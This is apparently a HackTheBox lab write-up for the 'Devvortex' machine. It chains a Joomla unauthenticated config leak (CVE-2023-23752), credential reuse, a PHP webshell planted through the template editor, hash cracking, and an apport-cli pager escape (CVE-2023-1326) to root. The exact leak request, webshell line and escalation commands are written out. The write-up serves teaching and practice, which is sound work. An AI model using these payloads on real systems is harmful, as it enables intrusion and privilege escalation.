// HackTheBox

Devvortex

Joomla unauth info disclosure (CVE-2023-23752) → admin template-editor RCE → apport-cli sudo (CVE-2023-1326)

HackTheBoxEasyLinux Jul 20, 2026 6 min read

Recon

nmap shows only the usual two ports:

Port Service
22 SSH
80 HTTP (nginx, generic “DevVortex” landing page)

The default site is a static “DevVortex” landing page — no Joomla generator tag, no /administrator panel. The interesting surface is hidden behind a virtual host (vhost): one web server can serve different sites depending on the Host header the browser sends. Guessing Host headers by hand, dev.devvortex.htb answers with a 200 (distinct from the default vhost’s 302 redirect), and its page source references cassiopeia template assets — the tell-tale of a Joomla install. Add the name to /etc/hosts so it resolves, and treat that vhost as the real target:

<target-ip>  devvortex.htb dev.devvortex.htb

Vhost enumeration mattered more than path enumeration here: the whole Joomla instance lived on a separate Host header and was invisible from the default site.

Foothold — CVE-2023-23752 (Joomla unauth info disclosure) → admin login → template-editor RCE

1. Leaking configuration.php over the REST API

Joomla 4.x ships a REST API, and CVE-2023-23752 is an access-control flaw in it: appending ?public=true to certain API endpoints bypasses the authentication check. Hitting the application-config endpoint unauthenticated dumps the site’s live settings:

GET /api/index.php/v1/config/application?public=true

The response returns the full contents of configuration.php, including the database credentials in cleartext: user=lewis, password=P4ntherg0t1n5r3c0n##. This is a full-config leak (DB host, user, and password), not a minor info-disclosure — so the leaked password is worth trying everywhere, not just against MySQL.

2. Admin login by credential reuse

The same password works as the Joomla admin password for user lewis at /administrator — the DB user’s password was reused for the CMS Super User account. Logging in outside a browser means replicating Joomla’s login POST: fetch the login form, scrape its CSRF token (a per-session anti-forgery value Joomla requires on every state-changing request), then POST it back with option=com_login&task=login plus the lewis:P4ntherg0t1n5r3c0n## credentials.

3. Template Manager → RCE as www-data

Joomla’s built-in Template Manager (com_templates) lets an authenticated Super User edit template PHP source directly in the browser — a reliable RCE path that needs no CVE once admin access is in hand. Edit cassiopeia/error.php and prepend a one-line webshell before the original content:

<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>

Two things trip up an out-of-browser save:

  • Every hidden field matters. The template.save POST needs jform[extension_id] and jform[filename] (both scraped from the edit form’s own hidden inputs) in addition to jform[source], task=template.save, and the CSRF token. Omit those two and the save silently no-ops — no error page, the existing file unchanged — so it’s worth extracting every hidden input from the real edit form rather than guessing the minimal set.
  • The path is doubled. The jform[filename] value the form itself reports was /var/www/dev.devvortex.htb/templates/cassiopeia/cassiopeia/error.php — a duplicated cassiopeia path segment (a file-manager path quirk in this Joomla version). So the live, web-reachable copy of the edited file ended up at /templates/cassiopeia/cassiopeia/error.php, not the expected /templates/cassiopeia/error.php. That doubled path is worth trusting literally rather than dismissing as a display glitch — confirmed by testing both paths.

Requesting the planted shell at the doubled path runs commands as www-data:

GET /templates/cassiopeia/cassiopeia/error.php?cmd=id

The whole chain (form fetch → token scrape → save → trigger) was wrapped in exploit/joomla_template_rce.rb (Ruby + net/http + nokogiri, gem-installed ad hoc rather than preinstalled).

Privilege Escalation

1. www-data → logan via cracked DB hash

With a shell, the same DB credentials sit in configuration.php on disk. Use them with the local MySQL client to read the Joomla users table directly — the table is prefixed sd4fg_ on this install, so it’s sd4fg_users:

$ mysql -u lewis -p'P4ntherg0t1n5r3c0n##' -D joomla -e "SELECT username,password FROM sd4fg_users;"

That returns bcrypt password hashes for the CMS accounts. john is preinstalled; pointed at rockyou.txt it cracks logan’s hash in about seven seconds:

$ john --wordlist=/usr/share/wordlists/rockyou.txt logan.hash

The plaintext is tequieromucho, and it is also logan’s real system/SSH password — a second, independent case of credential reuse on this box. (lewis’s own hash never needed cracking: the already-known plaintext P4ntherg0t1n5r3c0n## matched it going the other way.) ssh logan@... lands a proper user shell.

2. logan → root via apport-cli (CVE-2023-1326)

logan has one sudo entitlement:

$ sudo -l
(ALL : ALL) /usr/bin/apport-cli

It requires a password (not NOPASSWD). apport-cli is Ubuntu’s crash-report tool, and CVE-2023-1326 is a privilege-escalation bug in it: when apport-cli shows a report through its pager (less), the pager runs without dropping privileges, so a !-shell-escape from inside less spawns a shell as root. Trigger a report, view it, and break out of the pager:

sudo /usr/bin/apport-cli -f -p bash
# at the S/V/K/I/C prompt: V (view report)
# at the less ':' prompt:  !/bin/bash

Gotcha — this needs a real TTY end-to-end. Don’t feed the sudo password with echo pw | sudo -S ...: that redirects the whole pipeline’s stdin — including apport-cli’s later termios calls — to the pipe, and the moment it tries to read a raw keypress it dies with termios.error: (25, 'Inappropriate ioctl for device'). Enter the sudo password at its normal interactive prompt instead. Because this is a multi-step interactive flow, it was driven with expect over an ssh -tt PTY, with stty rows/cols set first (the CVE’s own stated prerequisite), then password → V!/bin/bash. The escaped shell runs as root — root.txt.

Key Takeaways

  • Vhost enumeration mattered more than path enumeration here — the real Joomla instance lived entirely on a distinct Host header (dev.devvortex.htb), invisible from the default vhost.
  • CVE-2023-23752 is a full-config leak (DB host/user/password), not just a minor info-disclosure — always check the leaked DB password against the CMS’s own admin login, not just the database itself.
  • Joomla’s own admin-side Template Manager is a reliable, no-CVE-needed RCE path once Super User access is had — but replicating its save request outside a real browser requires scraping every hidden form field (not just the obviously-named ones); extension_id/filename were easy to miss and silently no-op the save.
  • A “duplicated path segment” bug in the file path a form itself reports is worth trusting literally (test the path exactly as given) rather than assuming it’s a cosmetic display glitch.
  • Password reuse chains can be multi-hop on one box (DB password → CMS admin; a different cracked hash → a different system account) — don’t assume one reuse finding is the only one.
  • Interactive multi-step remote exploitation (pager escapes, TUI prompts) needs a real PTY end-to-end; expect/sshpass over ssh -tt works, but piping a sudo password via stdin breaks any later interactive step in the same command chain.
← All writeups